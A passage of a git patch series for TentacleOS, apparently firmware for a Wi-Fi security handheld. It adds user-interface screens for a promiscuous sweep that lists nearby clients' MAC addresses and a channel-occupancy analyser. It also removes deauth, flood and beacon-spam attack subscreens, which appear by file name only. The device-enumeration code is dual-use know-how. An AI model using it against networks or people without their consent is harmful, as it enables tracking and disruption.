bridge_frame_t resp = {0}; + if (bridge_request(&req, &resp, SCAN_SETTLE_MS) == ESP_OK && resp.status == BRIDGE_STATUS_OK) { + uint8_t n = 0; + for (int i = 0; i < SCAN_POLL_TRIES; i++) { + vTaskDelay(pdMS_TO_TICKS(SCAN_POLL_DELAY_MS)); + req.cmd = BRIDGE_CMD_WIFI_CLIENT_COUNT; + if (bridge_request(&req, &resp, SCAN_SETTLE_MS) == ESP_OK && + resp.status == BRIDGE_STATUS_OK && resp.payload[0] > 0) { + n = resp.payload[0]; + + if (i >= SCAN_POLL_TRIES - 1) + break; + } + } + result = SCAN_DONE; + + int to_fetch = (n > CLI_MAX) ? CLI_MAX : n; + for (int i = 0; i < to_fetch; i++) { + req.cmd = BRIDGE_CMD_WIFI_CLIENT_GET; + req.len = 1; + req.payload[0] = (uint8_t)i; + if (bridge_request(&req, &resp, SCAN_SETTLE_MS) == ESP_OK && + resp.status == BRIDGE_STATUS_OK) { + bridge_wifi_client_t cli; + memcpy(&cli, resp.payload, sizeof(cli)); + if (!cli.valid) + continue; + snprintf(s_cli_labels[count], + sizeof(s_cli_labels[count]), + "%02X:%02X:%02X:%02X:%02X:%02X c%d %d", + cli.addr[0], + cli.addr[1], + cli.addr[2], + cli.addr[3], + cli.addr[4], + cli.addr[5], + cli.channel, + (int8_t)cli.rssi); + count++; + } + } + } else { + ESP_LOGE(TAG, "WIFI_CLIENT_SCAN_START failed (bridge/C5 not responding)"); + } + } else { + ESP_LOGE(TAG, "bridge_master_init failed"); + } + + s_cli_count = count; + s_scan_state = result; + s_scanning = false; + lv_async_call(scan_done_cb, NULL); + vTaskDelete(NULL); +} + +static void nav_timer_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_nav_timer = NULL; + return; + } + + if (ui_input_is_locked()) + return; + + bool up = ui_btn_up(); + bool down = ui_btn_down(); + bool left = ui_btn_left(); + bool right = ui_btn_right(); + bool ok = ok_button_is_down(); + bool back = back_button_is_down(); + + if (down && !s_btn_down_last) + menu_component_next(&s_menu); + if (up && !s_btn_up_last) + menu_component_prev(&s_menu); + + if ((back && !s_btn_back_last) || (left && !s_btn_left_last)) + ui_switch_screen(SCREEN_WIFI_MENU); + + if (((ok && !s_btn_ok_last) || (right && !s_btn_right_last)) && !s_scanning) { + ui_wifi_client_open(); + return; + } + + s_btn_up_last = up; + s_btn_down_last = down; + s_btn_left_last = left; + s_btn_right_last = right; + s_btn_ok_last = ok; + s_btn_back_last = back; +} + +void ui_wifi_client_open(void) { + s_scan_state = SCAN_RUNNING; + s_cli_count = 0; + build_screen(); + + if (!s_scanning) { + s_scanning = true; + if (xTaskCreate(wifi_client_task, "wifi_cli", TASK_STACK_SIZE, NULL, TASK_PRIORITY, NULL) != + pdPASS) { + s_scanning = false; + s_scan_state = SCAN_FAIL; + build_screen(); + } + } + + ESP_LOGI(TAG, "Client scan screen opened — real C5 promiscuous sweep started"); +} diff --git a/firmware_p4/components/Applications/ui/screens/wifi/wifi_scan_stations_ui.c b/firmware_p4/components/Applications/ui/screens/wifi/wifi_scan_stations_ui.c deleted file mode 100644 index 15d456d0a..000000000 --- a/firmware_p4/components/Applications/ui/screens/wifi/wifi_scan_stations_ui.c +++ /dev/null @@ -1,393 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#include "wifi_scan_stations_ui.h" - -#include "esp_log.h" -#include "freertos/FreeRTOS.h" -#include "freertos/task.h" -#include "lvgl.h" - -#include "footer_ui.h" -#include "header_ui.h" -#include "lv_port_indev.h" -#include "target_scanner.h" -#include "ui_manager.h" -#include "ui_theme.h" -#include "wifi_service.h" - -static const char *TAG = "UI_SCAN_STATIONS"; - -/* ---- Layout constants ---- */ -#define LIST_W 230 -#define LIST_H 160 -#define LIST_Y 10 -#define ITEM_H 40 -#define ITEM_MARGIN_LEFT 8 -#define TITLE_OFFSET_Y 30 - -/* ---- Style constants ---- */ -#define STYLE_BORDER_W 2 -#define STYLE_BORDER_W_ITEM 1 -#define STYLE_PAD 4 - -/* ---- Task constants ---- */ -#define CLIENT_SCAN_TASK_NAME "WifiStationsClients" -#define CLIENT_SCAN_TASK_STACK 4096 -#define CLIENT_SCAN_TASK_PRIO 5 -#define CLIENT_SCAN_POLL_MS 100 -#define CLIENT_SCAN_TIMEOUT 700 - -typedef enum { - STATIONS_VIEW_APS = 0, - STATIONS_VIEW_CLIENTS = 1, -} stations_view_t; - -static lv_obj_t *s_screen = NULL; -static lv_obj_t *s_list_cont = NULL; -static lv_obj_t *s_loading_label = NULL; -static lv_obj_t *s_empty_label = NULL; -static lv_obj_t *s_title_label = NULL; -static lv_style_t s_style_menu; -static lv_style_t s_style_item; -static bool s_is_styles_init = false; - -static stations_view_t s_current_view = STATIONS_VIEW_APS; -static wifi_ap_record_t *s_ap_results = NULL; -static uint16_t s_ap_count = 0; -static target_scanner_record_t *s_client_results = NULL; -static uint16_t s_client_count = 0; -static wifi_ap_record_t s_selected_ap; - -extern lv_group_t *main_group; - -static void client_scan_task(void *arg); -static void go_back_or_ap_view(void); -static void list_event_cb(lv_event_t *e); - -static void init_styles(void) { - if (s_is_styles_init) - return; - - lv_style_init(&s_style_menu); - lv_style_set_bg_color(&s_style_menu, current_theme.screen_base); - lv_style_set_bg_opa(&s_style_menu, LV_OPA_COVER); - lv_style_set_border_width(&s_style_menu, STYLE_BORDER_W); - lv_style_set_border_color(&s_style_menu, current_theme.border_interface); - lv_style_set_radius(&s_style_menu, 0); - lv_style_set_pad_all(&s_style_menu, STYLE_PAD); - - lv_style_init(&s_style_item); - lv_style_set_bg_color(&s_style_item, current_theme.bg_item_bot); - lv_style_set_bg_grad_color(&s_style_item, current_theme.bg_item_top); - lv_style_set_bg_grad_dir(&s_style_item, LV_GRAD_DIR_VER); - lv_style_set_border_width(&s_style_item, STYLE_BORDER_W_ITEM); - lv_style_set_border_color(&s_style_item, current_theme.border_inactive); - lv_style_set_radius(&s_style_item, 0); - - s_is_styles_init = true; -} - -static void clear_list(void) { - if (s_list_cont == NULL) - return; - uint32_t child_count = lv_obj_get_child_count(s_list_cont); - for (uint32_t i = 0; i < child_count; i++) { - lv_obj_del(lv_obj_get_child(s_list_cont, 0)); - } - if (s_empty_label != NULL) { - lv_obj_del(s_empty_label); - s_empty_label = NULL; - } - if (main_group != NULL) - lv_group_remove_all_objs(main_group); -} - -static void set_loading(const char *text) { - if (s_loading_label == NULL) { - s_loading_label = lv_label_create(s_screen); - lv_obj_set_style_text_color(s_loading_label, current_theme.text_main, 0); - lv_obj_center(s_loading_label); - } - lv_label_set_text(s_loading_label, text); -} - -static void clear_loading(void) { - if (s_loading_label != NULL) { - lv_obj_del(s_loading_label); - s_loading_label = NULL; - } -} - -static void show_ap_title(void) { - if (s_title_label == NULL) { - s_title_label = lv_label_create(s_screen); - lv_obj_set_style_text_color(s_title_label, current_theme.text_main, 0); - lv_obj_align(s_title_label, LV_ALIGN_TOP_MID, 0, TITLE_OFFSET_Y); - } - lv_label_set_text_fmt(s_title_label, "AP: %s", (char *)s_selected_ap.ssid); - lv_obj_clear_flag(s_title_label, LV_OBJ_FLAG_HIDDEN); -} - -static void hide_ap_title(void) { - if (s_title_label != NULL) { - lv_obj_add_flag(s_title_label, LV_OBJ_FLAG_HIDDEN); - } -} - -static void item_focus_cb(lv_event_t *e) { - lv_event_code_t code = lv_event_get_code(e); - lv_obj_t *item = lv_event_get_target(e); - if (code == LV_EVENT_FOCUSED) { - lv_obj_set_style_border_color(item, ui_theme_get_accent(), 0); - lv_obj_set_style_border_width(item, STYLE_BORDER_W, 0); - lv_obj_scroll_to_view(item, LV_ANIM_ON); - } else if (code == LV_EVENT_DEFOCUSED) { - lv_obj_set_style_border_color(item, current_theme.border_inactive, 0); - lv_obj_set_style_border_width(item, STYLE_BORDER_W_ITEM, 0); - } else if (code == LV_EVENT_KEY) { - uint32_t key = lv_event_get_key(e); - if (key == LV_KEY_ESC || key == LV_KEY_LEFT) { - go_back_or_ap_view(); - } else if (key == LV_KEY_ENTER && s_current_view == STATIONS_VIEW_APS) { - wifi_ap_record_t *ap = (wifi_ap_record_t *)lv_obj_get_user_data(item); - if (ap == NULL) - return; - s_selected_ap = *ap; - s_current_view = STATIONS_VIEW_CLIENTS; - clear_list(); - clear_loading(); - set_loading("SCANNING CLIENTS..."); - lv_refr_now(NULL); - xTaskCreate(client_scan_task, - CLIENT_SCAN_TASK_NAME, - CLIENT_SCAN_TASK_STACK, - NULL, - CLIENT_SCAN_TASK_PRIO, - NULL); - } - } -} - -static void populate_ap_list(wifi_ap_record_t *results, uint16_t count) { - s_ap_results = results; - s_ap_count = count; - hide_ap_title(); - if (results == NULL || count == 0) { - s_empty_label = lv_label_create(s_screen); - lv_label_set_text(s_empty_label, "NO APS FOUND"); - lv_obj_set_style_text_color(s_empty_label, current_theme.text_main, 0); - lv_obj_center(s_empty_label); - lv_obj_add_event_cb(s_empty_label, list_event_cb, LV_EVENT_KEY, NULL); - if (main_group != NULL) { - lv_group_add_obj(main_group, s_empty_label); - lv_group_focus_obj(s_empty_label); - } - return; - } - - for (uint16_t i = 0; i < count; i++) { - wifi_ap_record_t *ap = &results[i]; - lv_obj_t *item = lv_obj_create(s_list_cont); - lv_obj_set_size(item, lv_pct(100), ITEM_H); - lv_obj_add_style(item, &s_style_item, 0); - lv_obj_set_flex_flow(item, LV_FLEX_FLOW_ROW); - lv_obj_set_flex_align(item, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); - lv_obj_clear_flag(item, LV_OBJ_FLAG_SCROLLABLE); - - lv_obj_t *icon = lv_label_create(item); - lv_label_set_text(icon, LV_SYMBOL_WIFI); - lv_obj_set_style_text_color(icon, current_theme.text_main, 0); - - lv_obj_t *lbl = lv_label_create(item); - lv_label_set_text(lbl, (char *)ap->ssid); - lv_obj_set_style_text_color(lbl, current_theme.text_main, 0); - lv_obj_set_flex_grow(lbl, 1); - lv_obj_set_style_margin_left(lbl, ITEM_MARGIN_LEFT, 0); - - lv_obj_set_user_data(item, ap); - lv_obj_add_event_cb(item, item_focus_cb, LV_EVENT_ALL, NULL); - if (main_group != NULL) - lv_group_add_obj(main_group, item); - } - - if (main_group != NULL) { - lv_obj_t *first = lv_obj_get_child(s_list_cont, 0); - if (first != NULL) - lv_group_focus_obj(first); - } -} - -static void populate_client_list(target_scanner_record_t *results, uint16_t count) { - s_client_results = results; - s_client_count = count; - show_ap_title(); - if (results == NULL || count == 0) { - s_empty_label = lv_label_create(s_screen); - lv_label_set_text(s_empty_label, "NO CLIENTS FOUND"); - lv_obj_set_style_text_color(s_empty_label, current_theme.text_main, 0); - lv_obj_center(s_empty_label); - lv_obj_add_event_cb(s_empty_label, list_event_cb, LV_EVENT_KEY, NULL); - if (main_group != NULL) { - lv_group_add_obj(main_group, s_empty_label); - lv_group_focus_obj(s_empty_label); - } - return; - } - - for (uint16_t i = 0; i < count; i++) { - target_scanner_record_t *rec = &results[i]; - lv_obj_t *item = lv_obj_create(s_list_cont); - lv_obj_set_size(item, lv_pct(100), ITEM_H); - lv_obj_add_style(item, &s_style_item, 0); - lv_obj_set_flex_flow(item, LV_FLEX_FLOW_ROW); - lv_obj_set_flex_align(item, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); - lv_obj_clear_flag(item, LV_OBJ_FLAG_SCROLLABLE); - - lv_obj_t *icon = lv_label_create(item); - lv_label_set_text(icon, LV_SYMBOL_EYE_OPEN); - lv_obj_set_style_text_color(icon, current_theme.text_main, 0); - - lv_obj_t *lbl = lv_label_create(item); - lv_label_set_text_fmt(lbl, - "%02X:%02X:%02X:%02X:%02X:%02X %ddBm", - rec->client_mac[0], - rec->client_mac[1], - rec->client_mac[2], - rec->client_mac[3], - rec->client_mac[4], - rec->client_mac[5], - rec->rssi); - lv_obj_set_style_text_color(lbl, current_theme.text_main, 0); - lv_obj_set_flex_grow(lbl, 1); - lv_obj_set_style_margin_left(lbl, ITEM_MARGIN_LEFT, 0); - - lv_obj_add_event_cb(item, item_focus_cb, LV_EVENT_ALL, NULL); - if (main_group != NULL) - lv_group_add_obj(main_group, item); - } - - if (main_group != NULL) { - lv_obj_t *first = lv_obj_get_child(s_list_cont, 0); - if (first != NULL) - lv_group_focus_obj(first); - } -} - -static void client_scan_task(void *arg) { - (void)arg; - target_scanner_start(s_selected_ap.bssid, s_selected_ap.primary); - uint16_t count = 0; - target_scanner_record_t *results = NULL; - int timeout = CLIENT_SCAN_TIMEOUT; - while (timeout-- > 0) { - results = target_scanner_get_results(&count); - if (results != NULL) - break; - vTaskDelay(pdMS_TO_TICKS(CLIENT_SCAN_POLL_MS)); - } - if (ui_acquire()) { - clear_loading(); - populate_client_list(results, count); - ui_release(); - } - vTaskDelete(NULL); -} - -static void screen_event_cb(lv_event_t *e) { - if (lv_event_get_code(e) != LV_EVENT_KEY) - return; - uint32_t key = lv_event_get_key(e); - if (key == LV_KEY_ESC || key == LV_KEY_LEFT) { - go_back_or_ap_view(); - } -} - -static void list_event_cb(lv_event_t *e) { - if (lv_event_get_code(e) != LV_EVENT_KEY) - return; - uint32_t key = lv_event_get_key(e); - if (key == LV_KEY_ESC || key == LV_KEY_LEFT) { - go_back_or_ap_view(); - } -} - -static void go_back_or_ap_view(void) { - if (s_current_view == STATIONS_VIEW_CLIENTS) { - s_current_view = STATIONS_VIEW_APS; - clear_list(); - clear_loading(); - set_loading("SCANNING APS..."); - lv_refr_now(NULL); - if (!wifi_service_is_active()) { - set_loading("WIFI OFF"); - return; - } - wifi_service_scan(); - clear_loading(); - uint16_t count = wifi_service_get_ap_count(); - wifi_ap_record_t *results = (count > 0) ? wifi_service_get_ap_record(0) : NULL; - populate_ap_list(results, count); - } else { - ui_switch_screen(SCREEN_WIFI_SCAN_MENU); - } -} - -static void start_ap_scan(void) { - s_current_view = STATIONS_VIEW_APS; - clear_list(); - clear_loading(); - set_loading("SCANNING APS..."); - lv_refr_now(NULL); - if (!wifi_service_is_active()) { - set_loading("WIFI OFF"); - return; - } - wifi_service_scan(); - clear_loading(); - uint16_t count = wifi_service_get_ap_count(); - wifi_ap_record_t *results = (count > 0) ? wifi_service_get_ap_record(0) : NULL; - populate_ap_list(results, count); -} - -void ui_wifi_scan_stations_open(void) { - init_styles(); - if (s_screen != NULL) - lv_obj_del(s_screen); - - s_screen = lv_obj_create(NULL); - lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); - lv_obj_clear_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); - - header_ui_create(s_screen); - footer_ui_create(s_screen); - - s_list_cont = lv_obj_create(s_screen); - lv_obj_set_size(s_list_cont, LIST_W, LIST_H); - lv_obj_align(s_list_cont, LV_ALIGN_CENTER, 0, LIST_Y); - lv_obj_add_style(s_list_cont, &s_style_menu, 0); - lv_obj_set_flex_flow(s_list_cont, LV_FLEX_FLOW_COLUMN); - lv_obj_set_scrollbar_mode(s_list_cont, LV_SCROLLBAR_MODE_OFF); - lv_obj_add_flag(s_list_cont, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_scroll_dir(s_list_cont, LV_DIR_VER); - lv_obj_add_event_cb(s_list_cont, list_event_cb, LV_EVENT_KEY, NULL); - - lv_obj_add_event_cb(s_screen, screen_event_cb, LV_EVENT_KEY, NULL); - - lv_screen_load(s_screen); - lv_refr_now(NULL); - - start_ap_scan(); -} From 6ccbe82419199220083f0aba5a7c44b334a07dae Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 16:39:21 -0300 Subject: [PATCH 144/572] feat(ui): add channel-occupancy analysis screen --- .../ui/screens/wifi/include/wifi_channel_ui.h | 34 +++ .../ui/screens/wifi/wifi_channel_ui.c | 243 ++++++++++++++++++ 2 files changed, 277 insertions(+) create mode 100644 firmware_p4/components/Applications/ui/screens/wifi/include/wifi_channel_ui.h create mode 100644 firmware_p4/components/Applications/ui/screens/wifi/wifi_channel_ui.c diff --git a/firmware_p4/components/Applications/ui/screens/wifi/include/wifi_channel_ui.h b/firmware_p4/components/Applications/ui/screens/wifi/include/wifi_channel_ui.h new file mode 100644 index 000000000..3a3fe73ea --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/wifi/include/wifi_channel_ui.h @@ -0,0 +1,34 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef WIFI_CHANNEL_UI_H +#define WIFI_CHANNEL_UI_H + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * @brief Open the Wi-Fi channel-occupancy analysis screen. Runs a real scan + * via the C5 bridge and aggregates the discovered APs per 2.4 GHz + * channel (count + strongest signal), colour-coded by congestion. + */ +void ui_wifi_channel_open(void); + +#ifdef __cplusplus +} +#endif + +#endif // WIFI_CHANNEL_UI_H diff --git a/firmware_p4/components/Applications/ui/screens/wifi/wifi_channel_ui.c b/firmware_p4/components/Applications/ui/screens/wifi/wifi_channel_ui.c new file mode 100644 index 000000000..6762aa009 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/wifi/wifi_channel_ui.c @@ -0,0 +1,243 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "wifi_channel_ui.h" + +#include +#include + +#include "esp_log.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" + +#include "bridge.h" +#include "buttons_gpio.h" +#include "menu_component_ui.h" +#include "ui_manager.h" +#include "ui_theme.h" + +static const char *TAG = "WIFI_CHAN_UI"; + +#define NAV_TIMER_MS 50 +#define CHAN_ICON "/assets/icons/wifi_menu_icon.bin" +#define MAX_CHANNELS 14 +#define MAX_ROWS 12 +#define SCAN_SETTLE_MS 150 +#define SCAN_POLL_TRIES 30 +#define SCAN_POLL_DELAY_MS 400 +#define TASK_STACK_SIZE 4096 +#define TASK_PRIORITY 4 + +#define COLOR_QUIET_HEX 0x00E676 +#define COLOR_BUSY_HEX 0xFFC107 +#define COLOR_CROWDED_HEX 0xF44336 + +typedef enum { SCAN_RUNNING, SCAN_DONE, SCAN_FAIL } scan_state_t; + +static lv_obj_t *s_screen = NULL; +static menu_component_t s_menu; +static lv_timer_t *s_nav_timer = NULL; + +static scan_state_t s_scan_state = SCAN_RUNNING; +static bool s_scanning = false; +static int s_row_count = 0; +static char s_rows[MAX_ROWS][32]; +static uint32_t s_row_color[MAX_ROWS]; + +static bool s_btn_up_last = false; +static bool s_btn_down_last = false; +static bool s_btn_left_last = false; +static bool s_btn_right_last = false; +static bool s_btn_ok_last = false; +static bool s_btn_back_last = false; + +static void nav_timer_cb(lv_timer_t *t); + +static uint32_t color_for_count(int count) { + if (count <= 2) + return COLOR_QUIET_HEX; + if (count <= 4) + return COLOR_BUSY_HEX; + return COLOR_CROWDED_HEX; +} + +static void build_screen(void) { + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + + s_menu = menu_component_create(s_screen, "Channels", CHAN_ICON); + + if (s_scan_state == SCAN_RUNNING) { + menu_component_add_item(&s_menu, CHAN_ICON, "Scanning..."); + } else if (s_scan_state == SCAN_FAIL) { + menu_component_add_item(&s_menu, CHAN_ICON, "Scan failed (C5?)"); + } else if (s_row_count == 0) { + menu_component_add_item(&s_menu, CHAN_ICON, "No networks found"); + } else { + for (int i = 0; i < s_row_count; i++) { + menu_component_add_item(&s_menu, CHAN_ICON, s_rows[i]); + menu_component_set_item_label_color(&s_menu, i, lv_color_hex(s_row_color[i])); + } + } + + if (s_nav_timer == NULL) + s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_MS, NULL); + + ui_screen_load(s_screen); +} + +static void scan_done_cb(void *unused) { + (void)unused; + if (ui_current_screen() != SCREEN_WIFI_CHANNELS) + return; + build_screen(); + ESP_LOGI( + TAG, "channel analysis: state=%d, %d occupied channel(s)", (int)s_scan_state, s_row_count); +} + +static void wifi_channel_task(void *arg) { + (void)arg; + scan_state_t result = SCAN_FAIL; + int rows = 0; + + int ch_count[MAX_CHANNELS + 1] = {0}; + int8_t ch_best[MAX_CHANNELS + 1]; + for (int i = 0; i <= MAX_CHANNELS; i++) + ch_best[i] = -128; + + if (bridge_master_init() == ESP_OK) { + bridge_frame_t req = {.cmd = BRIDGE_CMD_WIFI_SCAN_START}; + bridge_frame_t resp = {0}; + if (bridge_request(&req, &resp, SCAN_SETTLE_MS) == ESP_OK && resp.status == BRIDGE_STATUS_OK) { + uint8_t n = 0; + for (int i = 0; i < SCAN_POLL_TRIES; i++) { + vTaskDelay(pdMS_TO_TICKS(SCAN_POLL_DELAY_MS)); + req.cmd = BRIDGE_CMD_WIFI_SCAN_COUNT; + if (bridge_request(&req, &resp, SCAN_SETTLE_MS) == ESP_OK && + resp.status == BRIDGE_STATUS_OK && resp.payload[0] > 0) { + n = resp.payload[0]; + break; + } + } + result = SCAN_DONE; + + for (int i = 0; i < n; i++) { + req.cmd = BRIDGE_CMD_WIFI_SCAN_GET; + req.len = 1; + req.payload[0] = (uint8_t)i; + if (bridge_request(&req, &resp, SCAN_SETTLE_MS) == ESP_OK && + resp.status == BRIDGE_STATUS_OK) { + bridge_wifi_ap_t ap; + memcpy(&ap, resp.payload, sizeof(ap)); + if (!ap.valid) + continue; + int ch = ap.channel; + if (ch < 1 || ch > MAX_CHANNELS) + continue; + ch_count[ch]++; + int8_t rssi = (int8_t)ap.rssi; + if (rssi > ch_best[ch]) + ch_best[ch] = rssi; + } + } + + for (int ch = 1; ch <= MAX_CHANNELS && rows < MAX_ROWS; ch++) { + if (ch_count[ch] == 0) + continue; + snprintf(s_rows[rows], + sizeof(s_rows[rows]), + "Ch%2d %d AP %d dBm", + ch, + ch_count[ch], + ch_best[ch]); + s_row_color[rows] = color_for_count(ch_count[ch]); + rows++; + } + } else { + ESP_LOGE(TAG, "WIFI_SCAN_START failed (bridge/C5 not responding)"); + } + } else { + ESP_LOGE(TAG, "bridge_master_init failed"); + } + + s_row_count = rows; + s_scan_state = result; + s_scanning = false; + lv_async_call(scan_done_cb, NULL); + vTaskDelete(NULL); +} + +static void nav_timer_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_nav_timer = NULL; + return; + } + + if (ui_input_is_locked()) + return; + + bool up = ui_btn_up(); + bool down = ui_btn_down(); + bool left = ui_btn_left(); + bool right = ui_btn_right(); + bool ok = ok_button_is_down(); + bool back = back_button_is_down(); + + if (down && !s_btn_down_last) + menu_component_next(&s_menu); + if (up && !s_btn_up_last) + menu_component_prev(&s_menu); + + if ((back && !s_btn_back_last) || (left && !s_btn_left_last)) + ui_switch_screen(SCREEN_WIFI_MENU); + + if (((ok && !s_btn_ok_last) || (right && !s_btn_right_last)) && !s_scanning) { + ui_wifi_channel_open(); + return; + } + + s_btn_up_last = up; + s_btn_down_last = down; + s_btn_left_last = left; + s_btn_right_last = right; + s_btn_ok_last = ok; + s_btn_back_last = back; +} + +void ui_wifi_channel_open(void) { + s_scan_state = SCAN_RUNNING; + s_row_count = 0; + build_screen(); + + if (!s_scanning) { + s_scanning = true; + if (xTaskCreate(wifi_channel_task, "wifi_chan", TASK_STACK_SIZE, NULL, TASK_PRIORITY, NULL) != + pdPASS) { + s_scanning = false; + s_scan_state = SCAN_FAIL; + build_screen(); + } + } + + ESP_LOGI(TAG, "Channel analysis screen opened — real C5 scan started"); +} From 5dfcf47c25e503bb6bbf260f6486644161a710dc Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 16:41:14 -0300 Subject: [PATCH 145/572] refactor(ui): consolidate attack subscreens into a single screen --- ...wifi_attack_menu_ui.h => wifi_attack_ui.h} | 12 +- .../screens/wifi/include/wifi_auth_flood_ui.h | 30 - .../wifi/include/wifi_beacon_spam_simple_ui.h | 30 - .../wifi/include/wifi_beacon_spam_ui.h | 30 - .../wifi/include/wifi_deauth_attack_ui.h | 30 - .../ui/screens/wifi/include/wifi_deauth_ui.h | 41 -- .../wifi/include/wifi_probe_flood_ui.h | 30 - .../wifi/include/wifi_sniffer_attack_ui.h | 30 - .../ui/screens/wifi/wifi_attack_menu_ui.c | 120 ---- .../ui/screens/wifi/wifi_attack_ui.c | 325 ++++++++++ .../ui/screens/wifi/wifi_auth_flood_ui.c | 387 ------------ .../screens/wifi/wifi_beacon_spam_simple_ui.c | 103 ---- .../ui/screens/wifi/wifi_beacon_spam_ui.c | 153 ----- .../ui/screens/wifi/wifi_deauth_attack_ui.c | 567 ------------------ .../ui/screens/wifi/wifi_deauth_ui.c | 140 ----- .../ui/screens/wifi/wifi_probe_flood_ui.c | 141 ----- .../ui/screens/wifi/wifi_sniffer_attack_ui.c | 380 ------------ 17 files changed, 332 insertions(+), 2217 deletions(-) rename firmware_p4/components/Applications/ui/screens/wifi/include/{wifi_attack_menu_ui.h => wifi_attack_ui.h} (80%) delete mode 100644 firmware_p4/components/Applications/ui/screens/wifi/include/wifi_auth_flood_ui.h delete mode 100644 firmware_p4/components/Applications/ui/screens/wifi/include/wifi_beacon_spam_simple_ui.h delete mode 100644 firmware_p4/components/Applications/ui/screens/wifi/include/wifi_beacon_spam_ui.h delete mode 100644 firmware_p4/components/Applications/ui/screens/wifi/include/wifi_deauth_attack_ui.h delete mode 100644 firmware_p4/components/Applications/ui/screens/wifi/include/wifi_deauth_ui.h delete mode 100644 firmware_p4/components/Applications/ui/screens/wifi/include/wifi_probe_flood_ui.h delete mode 100644 firmware_p4/components/Applications/ui/screens/wifi/include/wifi_sniffer_attack_ui.h delete mode 100644 firmware_p4/components/Applications/ui/screens/wifi/wifi_attack_menu_ui.c create mode 100644 firmware_p4/components/Applications/ui/screens/wifi/wifi_attack_ui.c delete mode 100644 firmware_p4/components/Applications/ui/screens/wifi/wifi_auth_flood_ui.c delete mode 100644 firmware_p4/components/Applications/ui/screens/wifi/wifi_beacon_spam_simple_ui.c delete mode 100644 firmware_p4/components/Applications/ui/screens/wifi/wifi_beacon_spam_ui.c delete mode 100644 firmware_p4/components/Applications/ui/screens/wifi/wifi_deauth_attack_ui.c delete mode 100644 firmware_p4/components/Applications/ui/screens/wifi/wifi_deauth_ui.c delete mode 100644 firmware_p4/components/Applications/ui/screens/wifi/wifi_probe_flood_ui.c delete mode 100644 firmware_p4/components/Applications/ui/screens/wifi/wifi_sniffer_attack_ui.c diff --git a/firmware_p4/components/Applications/ui/screens/wifi/include/wifi_attack_menu_ui.h b/firmware_p4/components/Applications/ui/screens/wifi/include/wifi_attack_ui.h similarity index 80% rename from firmware_p4/components/Applications/ui/screens/wifi/include/wifi_attack_menu_ui.h rename to firmware_p4/components/Applications/ui/screens/wifi/include/wifi_attack_ui.h index bd78b42f1..b188b35e1 100644 --- a/firmware_p4/components/Applications/ui/screens/wifi/include/wifi_attack_menu_ui.h +++ b/firmware_p4/components/Applications/ui/screens/wifi/include/wifi_attack_ui.h @@ -13,18 +13,20 @@ // You should have received a copy of the GNU General Public License // along with TentacleOS. If not, see . -#ifndef WIFI_ATTACK_MENU_UI_H -#define WIFI_ATTACK_MENU_UI_H +#ifndef WIFI_ATTACK_UI_H +#define WIFI_ATTACK_UI_H #ifdef __cplusplus extern "C" { #endif -/** @brief Open the Wi-Fi attack menu screen. */ -void ui_wifi_attack_menu_open(void); +/** + * @brief Open the Wi-Fi attacks submenu (mock / demo only). + */ +void ui_wifi_attack_open(void); #ifdef __cplusplus } #endif -#endif // WIFI_ATTACK_MENU_UI_H +#endif // WIFI_ATTACK_UI_H diff --git a/firmware_p4/components/Applications/ui/screens/wifi/include/wifi_auth_flood_ui.h b/firmware_p4/components/Applications/ui/screens/wifi/include/wifi_auth_flood_ui.h deleted file mode 100644 index 861877b74..000000000 --- a/firmware_p4/components/Applications/ui/screens/wifi/include/wifi_auth_flood_ui.h +++ /dev/null @@ -1,30 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even 